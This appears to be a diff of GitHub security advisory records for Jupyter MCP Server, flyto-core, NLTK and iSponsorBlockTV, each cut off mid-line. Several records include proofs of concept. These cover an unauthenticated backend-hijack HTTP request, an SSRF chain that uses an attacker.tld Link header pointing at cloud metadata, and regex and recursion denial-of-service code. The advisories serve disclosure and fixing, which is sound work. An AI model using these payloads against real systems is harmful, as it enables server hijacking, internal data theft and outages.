{"schema_version":"1.9.2","id":"GHSA-24pw-rf5p-mgp7","published":"2026-11-20T00:12:14Z","modified":"2026-11-20T00:15:05.450904825Z","aliases":["CVE-2026-77318"],"summary":"Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode","details":"Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.\n\nThe intended authentication boundary is documented in the security guide and enforced during startup:\n\n```text\ndocs/docs/reference/security/index.mdx:15\nAll MCP endpoints require Bearer token authentication.\n\ndocs/docs/reference/security/index.mdx:25\nStarting with version 1.0.0, MCP client authentication is required for the streamable-http transport.\n```\n\nThe CLI enforces that boundary for the MCP endpoint:\n\n```python\n# jupyter_mcp_server/CLI.py:203-209\nif transport == \"streamable-http\" and not mcp_token and not insecure_mcp_noauth:\n raise click.UsageError(\n \"streamable-http transport requires MCP client authentication. \"\n \"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to \"\n \"explicitly allow unauthenticated access.\"\n )\n```\n\n```python\n# jupyter_mcp_server/CLI.py:285-290\nif transport == \"streamable-http\":\n if mcp_token:\n from jupyter_mcp_server.server import RuntimeTokenVerifier\n mcp._token_verifier = RuntimeTokenVerifier(mcp_token)\n logger.info(\"MCP endpoint token authentication enabled (using MCP_TOKEN)\")\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n data = await request.json()\n\n document_runtime = DocumentRuntime(**data)\n\n set_config(\n provider=document_runtime.provider,\n runtime_url=document_runtime.runtime_url,\n runtime_id=document_runtime.runtime_id,\n runtime_token=document_runtime.runtime_token,\n document_url=document_runtime.document_url,\n document_id=document_runtime.document_id,\n document_token=document_runtime.document_token,\n allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n )\n\n ServerContext.reset()\n\n try:\n __start_kernel()\n return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also unauthenticated and state-changing:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n try:\n current_notebook = notebook_manager.get_current_notebook() or \"default\"\n if current_notebook in notebook_manager:\n notebook_manager.remove_notebook(current_notebook)\n return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n --transport streamable-http \\\n --start-new-runtime false \\\n --jupyterlab false \\\n --mcp-token SCAN_MCP_TOKEN \\\n --port 8083\n```\n\nSend a request to the protected MCP endpoint without credentials:\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 401 Unauthorized\nwww-authenticate: Bearer error=\"invalid_token\", error_description=\"Authentication required\"\n```\n\nNow send the unauthenticated management request:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\n\n{\n \"provider\": \"jupyter\",\n \"runtime_url\": \"http://127.0.0.1:9183\",\n \"runtime_id\": \"\",\n \"runtime_token\": \"ATTACKER_TOKEN_DIRECT\",\n \"document_url\": \"http://127.0.0.1:9183\",\n \"document_id\": \"demo.ipynb\",\n \"document_token\": \"ATTACKER_TOKEN_DIRECT\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend:\n\n```text\nConnect endpoint received - runtime_url: 'http://127.0.0.1:9183',\ndocument_url: 'http://127.0.0.1:9183', provider: jupyter\nStarting the kernel client...\nDefaLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-2mr3-rxrq-238c","published":"2026-11-20T00:10:14Z","modified":"2026-11-20T00:15:06.376826426Z","aliases":["CVE-2026-77315"],"summary":"Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation","details":"## Summary\n`http.paginate` validates only the initial `base_url`, then follows server-supplied pagination targets (RFC 5988 `Link: rel=\"next\"` headers, cursor/offset URLs) in a loop **without revalidating each follow-up URL**. An attacker's first-page response can point `next` at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items.\n\n## Root Cause\n`src/core/modules/atomic/http/paginate.py:495` validates `base_url` (first URL only). The pagination loop `_paginate_link_header` reads `next_url` via `_parse_link_header` (:203), sets `url=next_url` (:208), and calls `session.request(method, url)` (:196) with NO validate call in the loop (:186-208 has zero guard calls).\n\n## Impact\nReadable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into `all_items` and returned to the caller (C:H, S:C).\n\n## Proof of Concept\nVerified live: `http.paginate` with allowlisted base `127.0.0.1` followed a `Link: <http://127.0.0.3/...>; rel=\"next\"` (non-allowlisted) and returned `INTERNAL-NEXTPAGE-SECRET` in the aggregated items.\n```\nexecute_module http.paginate {\"url\":\"http://attacker.tld/p1\",\"strategy\":\"link_header\"}\nattacker p1 response header: Link: <http://<cloud-metadata-ip>/latest/meta-data/>; rel=\"next\"\n```\n\n## Attack Chain\n1. Entry: `http.paginate {url:\"http://attacker.tld/p1\", strategy:\"link_header\"}`. Guard: `validate_url_with_env_config(base_url)` (paginate.py:495) — validates the FIRST url only.\n2. Sink: `_paginate_link_header` reads `next_url` (`_parse_link_header` :203), `url=next_url` (:208), `session.request(method,url)` (:196) — NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls.\n3. Impact: internal body aggregated into `all_items` and returned → readable second-order SSRF.\n\n## Bypass Evidence\nLive PoC followed a `Link` header into non-allowlisted loopback and returned the internal marker in aggregated results. Only `base_url` is validated; the follow loop never revalidates.\n\n## Affected Versions\n`<= 2.26.6` — `paginate.py:495` + loop present on latest release tag.\n\n## Suggested Fix\nRun every follow-up URL (Link header, cursor, offset target) through `validate_url_with_env_config` before fetching it inside the pagination loop.\n\n## Credit\n\nVulnerability discovered by zx (Jace).","affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.8"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.7","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.5.0","2.5.1","2.5.2","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.8.0","2.9.0"],"database_specific":{"last_known_affected_version_range":"<= 2.26.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2mr3-rxrq-238c/GHSA-2mr3-rLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-32p6-cwhc-8r78","published":"2026-11-19T23:50:03Z","modified":"2026-11-20T00:00:05.083074984Z","aliases":["CVE-2026-129229"],"summary":"NLTK: Compile-time regex DoS in NLTK search/tokenizer sinks: quadratic regex-engine compile bypasses the match-only timeout","details":"## Summary\n\nNLTK exposes a compile-time regular-expression denial of service in its regex-search helpers. When an application passes untrusted text as the search pattern to `TokenSearcher.findall()` / `Text.findall()`, or as the tokenizer pattern to `RegexpTokenizer`, the pattern is handed to the third-party `regex` engine, whose compilation cost is roughly quadratic in the number of capturing groups. A short pattern of the form `()` repeated many times (for example `\"()\" * 25000`, about 50 KB) forces tens of seconds of synchronous CPU work before any match begins. The wall-clock timeout that NLTK added to guard matching does not apply during compilation, so a single small request pins a CPU core, and repeated or concurrent requests exhaust all cores and deny service.\n\n## Root Cause\n\nThe remediation for the earlier match-time backtracking issue (advisory GHSA-rrv8-h7p8-rx55 / CVE-2026-80205) switched the caller-supplied-pattern search path from the standard library `re` module to the third-party `regex` engine and wrapped matching in a wall-clock timeout. That timeout is a match-time limit only: it is applied while the compiled pattern scans the corpus. Compilation of the pattern happens first and synchronously, outside any timeout. The `regex` engine's compiler is approximately O(n^2) in the number of regex groups, so a caller-controlled pattern consisting of many empty groups makes compilation, not matching, the expensive step. No control bounds the group count of a caller-supplied pattern before compilation.\n\n```text\nAffected components / functions:\n- nltk.text.TokenSearcher.findall (nltk/text.py) -> regex.findall(pattern, corpus, timeout=...)\n On released 3.10.0-3.10.2 this sink calls regex.findall directly; on 3.10.3 and later it\n routes through nltk.redos.compile. Either way the regex engine compiles the caller pattern\n with no group-count bound, and the timeout guards only matching.\n- nltk.redos.compile (nltk/redos.py, introduced in 3.10.3) -> regex.compile(src, flags)\n Called synchronously before the timeout-bearing wrapper exists. On released 3.10.3 there is\n no pre-compile guard at all; on the current development tree a check_pattern bounds source\n length, nesting depth, and counted-repeat product, but not the number of groups.\n```\n\n## Impact\n\nAn unauthenticated attacker who can influence a regular-expression string that reaches one of these NLTK search or tokenizer entry points can force amplified CPU consumption. A single request carrying an approximately 50 KB pattern of empty groups blocks a worker for tens of seconds; because cost grows quadratically with group count, a larger pattern (unbounded on the released 3.10.3 artifact, which imposes no length cap) or a modest number of concurrent requests exhausts every available core and denies service to legitimate users. There is no confidentiality or integrity impact, and service recovers once compilation finishes or the worker is terminated. This is the same class of unauthenticated denial of service as the prior match-time ReDoS, but reached through the compilation path that the prior fix does not cover.\n\n## Proof of Concept\n\n`Requires the nltk package (3.10.0 through 3.10.3) and its declared regex dependency. No corpus data or network access is needed.`\n\n1. Build a pattern of many empty capturing groups.\n2. Pass it to any caller-supplied-pattern sink; measure the time spent before matching.\n3. Observe that the match timeout does not fire, because the cost is in compilation.\n\n```python\nimport time, regex\n\n# Exact released 3.10.0-3.10.2 code path of TokenSearcher.findall:\n# regex.findall(pattern, corpus, timeout=<wall-clock match limit>)\npattern = \"()\" * 25000 # ~50 KB, 25000 capturing groups; survives the \"<>.\" rewrites\nstart = time.perf_counter()\ntry:\n regex.findall(pattern, \"<hello><world><foo>\", timeout=1.0)\n print(f\"completed in {time.perf_counter()-start:.2f}s with NO TimeoutError\")\nexcept TimeoutError:\n print(f\"TimeoutError after {time.perf_counter()-start:.2f}s\")\n\n# Negative control: same length, zero groups, compiles in well under a second.\nstart = time.perf_counter()\nregex.findall(\"a\" * 50000, \"<hello>\", timeout=1.0)\nprint(f\"control (0 groups) completed in {time.perf_counter()-start:.2f}s\")\n```\n\n```text\ncompleted in 4.24s with NO TimeoutError\ncontrol (0 groups) completed in 0.16s\n```\n\nAdditional measurements on the same host: `regex.compile(\"()\" * n)` scaled 0.35s / 1.17s / 2.61s / 4.77s for n = 5000 / 10000 / 15000 / 20000 (clean quadratic); the standard library `re.compile(\"()\" * 20000)` took 0.14s, confirmingLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3h95-x772-4765","published":"2026-11-19T23:52:54Z","modified":"2026-11-20T00:00:04.077530309Z","aliases":["CVE-2026-129224"],"summary":"NLTK: Uncontrolled recursion in CCG lexicon parser causes denial of service via deeply nested category input","details":"## Root Cause\nThe CCG lexicon parser recurses on nested parenthesised categories without any depth\nbound. `matchBrackets` (`nltk/ccg/lexicon.py:154`) calls itself once per nested `(`, and\n`augParseCategory` (`nltk/ccg/lexicon.py:228,242`) recurses once per bracketed\nsub-category. Neither function tracks recursion depth nor checks\n`sys.getrecursionlimit()`, and the public entry point `fromstring`\n(`nltk/ccg/lexicon.py:252`, also re-exported via `nltk.ccg.chart.fromstring`) applies no\nlength or nesting cap before handing the text to the parser.\n\n## Impact\nAn application that parses an untrusted lexicon string aborts with an unhandled\n`RecursionError`, terminating the affected parse operation or request worker\n(denial of service, CWE-674). The recursion is pure Python, so CPython raises a catchable\n`RecursionError` rather than crashing the process; there is no memory-corruption or\ncode-execution primitive. Confidentiality and integrity are unaffected. Plausibly, a\nservice that does not wrap the parse in a handler will surface the error to the caller and\ndrop the in-flight request.\n\n## Attack Chain\n1. The application calls `nltk.ccg.lexicon.fromstring(lex_str)` with attacker-supplied\n text such as `\":- S\\nw => \" + \"(\" * 2000 + \"S\" + \")\" * 2000 + \"\\n\"`.\n2. `fromstring` splits the input into lines; `LEX_RE`/`RHS_RE`\n (`nltk/ccg/lexicon.py:275-276`) match and route the parenthesised category into\n `augParseCategory` (`nltk/ccg/lexicon.py:277`) with no depth or length guard.\n3. Because the category starts with `(`, `nextCategory` dispatches to `matchBrackets`,\n which recurses once per nested `(`; `augParseCategory` recurses once per bracketed\n sub-category. Each nesting level consumes call-stack frames.\n4. Once the depth exceeds the interpreter recursion limit, an unhandled `RecursionError`\n propagates out of the public API and aborts the parse.\n\n## Bypass Evidence\nRunning the dependency-free `matchBrackets` body verbatim from the shipped source at the\ndefault recursion limit (1000): a well-formed balanced input at depth 5 and 500 parses\ncleanly, while depth 2000 and 5000 raise an unhandled `RecursionError`. Because shallow,\nbalanced input parses without error, the failure is depth-driven rather than a generic\nparse error. The crash triggers near ~1000 nesting levels at the default limit, so the\npayload need not be extreme. A repository-wide search confirms no depth/recursion guard\nexists anywhere under `nltk/ccg/` (the only recent change to this file routed regexes\nthrough `nltk.redos` and added no recursion bound).\n\n## Suggested Fix\nAdd a recursion-depth choke point on the lexicon-parsing path — for example a depth\ncounter that raises a bounded `ValueError` past a configurable maximum, mirroring the\nexisting guards on `FeatStructReader` (`nltk/featstruct.py`), `Tree.fromstring`\n(`MAX_TREE_DEPTH`, `nltk/tree/tree.py`), and `LogicParser` (`MAX_PARSE_DEPTH`,\n`nltk/sem/logic.py`).\n\nReported by pi (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3885 \"Bound recursion depth in parsers and traversal helpers\" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.\n\nFix commit: 30e93eb7b (nltk/ccg/lexicon.py: matchBrackets and the category parser stop at MAX_PARSE_DEPTH=500 with ValueError).\n\nProbe: nltk/test/unit/security_probes/ghsa_3h95_x772_4765.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (ValueError)).\n\nRelease: none yet; no release tag contains e521ecafc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3h95-x772-4765/GHSA-3h95-x772-4765.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3h95-x772-4765"},{"type":"ADVISORY","url":"Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-53pg-5qp8-mhvr","published":"2026-11-19T23:49:16Z","modified":"2026-11-20T00:00:04.071291431Z","aliases":["CVE-2026-129230"],"summary":"NLTK: Uncontrolled recursion in WordNet Synset hypernym walkers (max_depth/min_depth/hypernym_paths/hypernym_distances) causes DoS","details":"## Summary\n\nFour hypernym-walking methods on the WordNet `Synset` class in `nltk/corpus/reader/wordnet.py` (`max_depth`, `min_depth`, `hypernym_paths`, and `hypernym_distances`) traverse the hypernym pointer graph by direct recursion with no visited-node set and no depth cap. WordNet `data.<pos>` file content is untrusted corpus input in NLTK, the same trust boundary the project already treats as attacker-controlled across its corpus-content hardening work. When the parsed hypernym graph contains a cycle, or a chain deeper than the interpreter recursion limit, these methods recurse without bound and raise an uncaught `RecursionError`, aborting the traversal and any worker that does not catch it. No special privileges are needed; the victim only has to load an attacker-supplied corpus and call any of several shipped public methods that reach these walkers.\n\n## Root Cause\n\n`Synset.max_depth` computes `1 + max(h.max_depth() for h in hypernyms)` and only assigns its `_max_depth` memo after that recursive expression fully returns. Because Python evaluates the right-hand side completely before binding the left-hand side, the memo is never set on a node that is still on the recursion stack, so a cyclic graph re-enters the same not-yet-memoized node indefinitely. `min_depth`, `hypernym_paths`, and `hypernym_distances` follow the same recursive descent with no cycle detection. The security invariant that graph traversal over untrusted corpus data must terminate is violated: the pointer offsets parsed from the data file are stored verbatim with no graph-shape validation, so the attacker controls the graph topology. The sibling walkers in the same class (`closure`, `tree`, `_shortest_hypernym_paths`) were hardened with acyclic/visited guards, which shows cyclic hypernym graphs are an in-scope threat that these four methods simply were not converted to handle.\n\n```text\nAffected functions in nltk/corpus/reader/wordnet.py:\n Synset.max_depth (nltk/corpus/reader/wordnet.py:550)\n Synset.min_depth (nltk/corpus/reader/wordnet.py:564)\n Synset.hypernym_paths (nltk/corpus/reader/wordnet.py:666)\n Synset.hypernym_distances (nltk/corpus/reader/wordnet.py:768)\nUntrusted pointer stored at nltk/corpus/reader/wordnet.py:1694\nRe-entry edge: hypernyms() (:138) -> _related('@') (:1103) -> synset_from_pos_and_offset (:1104)\n```\n\n## Impact\n\nAn attacker who can supply a WordNet `data.<pos>` corpus file that the victim loads (for example a downloaded, mirrored, or user-provided WordNet corpus) can construct a hypernym pointer graph that is cyclic or deeper than the recursion limit. When the application then calls any hypernym-depth or path method, the walker recurses without bound and raises an uncaught `RecursionError`, terminating the current traversal and any request or worker process that does not handle it. Under a raised or removed recursion limit, unbounded recursion can instead exhaust the native stack and abort the process. The impact is availability only; there is no confidentiality or integrity effect. Reachable public entry points include `hypernym_paths` and `hypernym_distances` directly, and `max_depth`/`min_depth` indirectly through `lowest_common_hypernyms`, `wup_similarity`, `path_similarity`, and `lch_similarity`.\n\n## Proof of Concept\n\n`Requires only the nltk package under test on PYTHONPATH; no network or WordNet data download. The reader is instantiated with __new__ to skip unrelated OMW/lexname loading, the same technique NLTK's own recursion-DoS hardening test uses; the parser and the walker under test are unmodified library code.`\n\n1. Build a `WordNetCorpusReader` without its unrelated data-loading side effects.\n2. Parse two synset records whose `@` (hypernym) pointers reference each other, forming a 2-cycle.\n3. Call `Synset.max_depth()` on one of them.\n\n```python\nimport sys\nsys.setrecursionlimit(1500)\nfrom nltk.corpus.reader.wordnet import WordNetCorpusReader\n\nreader = WordNetCorpusReader.__new__(WordNetCorpusReader)\nreader._synset_offset_cache = {\"n\": {}}\nreader._lexnames = [\"adj.all\"]\nreader._lemma_pos_offset_map = {\"w88\": {\"n\": [88]}, \"w99\": {\"n\": [99]}}\n\ndef make(offset, partner):\n line = f\"{offset:08d} 00 n 01 w{offset} 0 001 @ {partner:08d} n 0000 | gloss\"\n s = reader._synset_from_pos_and_line(\"n\", line)\n reader._synset_offset_cache[\"n\"][offset] = s\n return s\n\na = make(88, 99)\nb = make(99, 88)\nprint(\"hypernym pointers:\", dict(a._pointers))\nprint(\"hypernyms():\", a.hypernyms())\ntry:\n a.max_depth()\n print(\"returned normally\")\nexcept RecursionError:\n print(\"VULNERABLE: max_depth() rLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-56v3-jrq2-4q9m","published":"2026-11-19T20:50:12Z","modified":"2026-11-19T21:00:04.030868046Z","aliases":["CVE-2026-77597"],"summary":"iSponsorBlockTV: SSRF via Malicious SSDP Response Spoofing in Local Device Discovery","details":"### Summary\niSponsorBlockTV discovers local smart TV devices via SSDP (Simple Service Discovery Protocol). The `LOCATION` URL from SSDP responses is used to fetch device capabilities without URL validation. A local network attacker can craft a malicious SSDP response with a `LOCATION` pointing to any internal HTTP service, causing SSRF when the application fetches device information.\n\n### Details\nIn `src/iSponsorBlockTV/dial_client.py:92-96`, upon receiving an SSDP M-SEARCH response, the code extracts the `LOCATION` header and makes an HTTP GET request to that URL to retrieve DIAL device description XML. The URL is not validated against expected device IP ranges, expected schemes, or private/internal IP blocklists. Any device on the LAN (or a rogue WiFi access point) can respond to SSDP M-SEARCH queries with a `LOCATION` pointing to internal services.\n\n### Impact\nBlind SSRF against internal network services; access to home router admin interfaces, smart home controllers, NAS admin pages, and other local services; potential credential disclosure from fetched responses.\nIt'd be able to either:\n- show a debug log line `- __main__ - DEBUG - Discovered device at <attacker controlled URL>, processing...` (which is normally disabled and won't be shown in the actual configurator since textual doesn't show logs unless running in dev mode and launching a second terminal to inspect log output), and make a single GET request to an \"attacker controlled\" url which does not leak any information back to iSponsorBlockTV itself and swallows any sort of error (parsing or an invalid response from not being a real DIAL server) (`dial_client.py` L131-L133) \n- make single POST request to a partly \"attacker controlled\" url since it'll always have the suffix `/YouTube` appended (`dial_client.py` L139) , with predefined headers `{\"Origin\": \"https://www.youtube.com\",\"Content-Type\": \"application/x-www-form-urlencoded\",}` (`dial_client.py` L158-L161) and a predefined payload `{\"pairingCode\": <random 12 digit code>, \"theme\": \"cl\"}` which also does not leak any information back to iSponsorBlockTV itself and swallows any sort of error (parsing or an invalid response from not being a real DIAL server with a YouTube app running on it) (`dial_client.py` L162)\n\n### Fix\nValidate SSDP `LOCATION` URLs: allow only `http{s}://` scheme, extract the IP address, and verify it matches the SSDP sender's IP address. Reject `LOCATION` values pointing to private IP ranges other than the expected device subnet. (Done on v2.11.0)","affected":[{"package":{"name":"isponsorblocktv","ecosystem":"PyPI","purl":"pkg:pypi/isponsorblocktv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.0"}]}],"versions":["2.0.3","2.0.5","2.0.6","2.0.7","2.0.8","2.1.0","2.1.1","2.10.0","2.2.1","2.3.0","2.3.1","2.4.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.7.0","2.8.1","2.9.0"],"database_specific":{"last_known_affected_version_range":"<= 2.10.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-56v3-jrq2-4q9m/GHSA-56v3-jrq2-4q9m.json"}}],"references":[{"type":"WEB","url":"https://github.com/dmunozv04/iSponsorBlockTV/security/advisories/GHSA-56v3-jrq2-4q9m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77597"},{"type":"WEB","url":"https://github.com/dmunozv04/iSponsorBlockTV/commit/7d315115f41523632588fb0b22d46d85807172b7"},{"type":"PACKAGE","url":"https://github.com/dmunozv04/iSponsorBlockTV"},{"type":"WEB","url":"https://github.com/dmunozv04/iSponsorBlockTV/releases/tag/v2.11.0"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:50:12Z","nvd_published_at":"2026-11-16T21:17:31Z","severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-63wh-5r5m-wxr7","published":"2026-11-19T23:51:08Z","modified":"2026-11-20T00:00:04.076531672Z","aliases":["CVE-2026-129227"],"summary":"NLTK: Uncontrolled recursion in Tree.fromlist causes denial of service via deeply nested list input","details":"## Root Cause\n`Tree.fromlist` (`nltk/tree/tree.py:767`) converts a nested list into a `Tree` by recursing\nonce per nesting level (`nltk/tree/tree.py:780`) with no depth bound — its only validation\nis `type(l) == list and len(l) > 0`. The sibling constructor `Tree.fromstring` was hardened\nwith a `MAX_TREE_DEPTH` cap (`nltk/tree/tree.py:31,695`) that rejects adversarially deep\ninput with a bounded `ValueError`, but that guard was not applied to `fromlist`, which\nbuilds `Tree` objects identically.\n\n## Impact\nAn application that builds a `Tree` from an attacker-controlled nested list — for example\n`Tree.fromlist(json.loads(untrusted))` — aborts with an unhandled `RecursionError`,\nterminating the affected operation or request worker (denial of service, CWE-674). Any\nlater recursive traversal of an over-deep tree (`height`, `pformat`, equality) fails the\nsame way. The recursion is pure Python, yielding a catchable `RecursionError` rather than\nmemory corruption or code execution. Confidentiality and integrity are unaffected.\n\n## Attack Chain\n1. The application obtains an attacker-controlled deeply nested list, typically by decoding\n an untrusted JSON payload, and calls `nltk.tree.Tree.fromlist(l)`.\n2. `fromlist` checks only that the argument is a non-empty list; it applies no depth cap.\n3. `fromlist` recurses once per nesting level, consuming call-stack frames; the\n `MAX_TREE_DEPTH` guard used by `fromstring` is never invoked on this path.\n4. Once the nesting depth exceeds the interpreter recursion limit, an unhandled\n `RecursionError` propagates out of the public API.\n\n## Bypass Evidence\nRunning the shipped `fromlist` body verbatim at the default recursion limit: depth 5 builds\ncleanly while depth 5000 raises an unhandled `RecursionError`. The realistic JSON-delivery\nobjection does not hold: CPython's C JSON decoder tolerates far deeper nesting than the\npure-Python `fromlist` recursion, so there is a wide window (measured from roughly depth 500\nup to ~1500 at the default limit) in which `json.loads` succeeds and `fromlist` is the\ncomponent that raises. Notably the `fromlist` crash threshold (~500) coincides with the\nproject's own `MAX_TREE_DEPTH = 500` — the exact depth already deemed adversarial on the\nstring path is left unbounded on the list path.\n\n## Suggested Fix\nApply the existing `MAX_TREE_DEPTH` bound (or an equivalent depth counter) inside\n`Tree.fromlist`, so the list-construction path rejects adversarially deep input with the\nsame bounded `ValueError` already raised by `Tree.fromstring`.\n\nReported by pi (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3885 \"Bound recursion depth in parsers and traversal helpers\" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.\n\nFix commit: ae4c5c900 (nltk/tree/tree.py: Tree.fromlist is bounded by MAX_TREE_DEPTH with ValueError).\n\nProbe: nltk/test/unit/security_probes/ghsa_63wh_5r5m_wxr7.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (ValueError)).\n\nRelease: none yet; no release tag contains 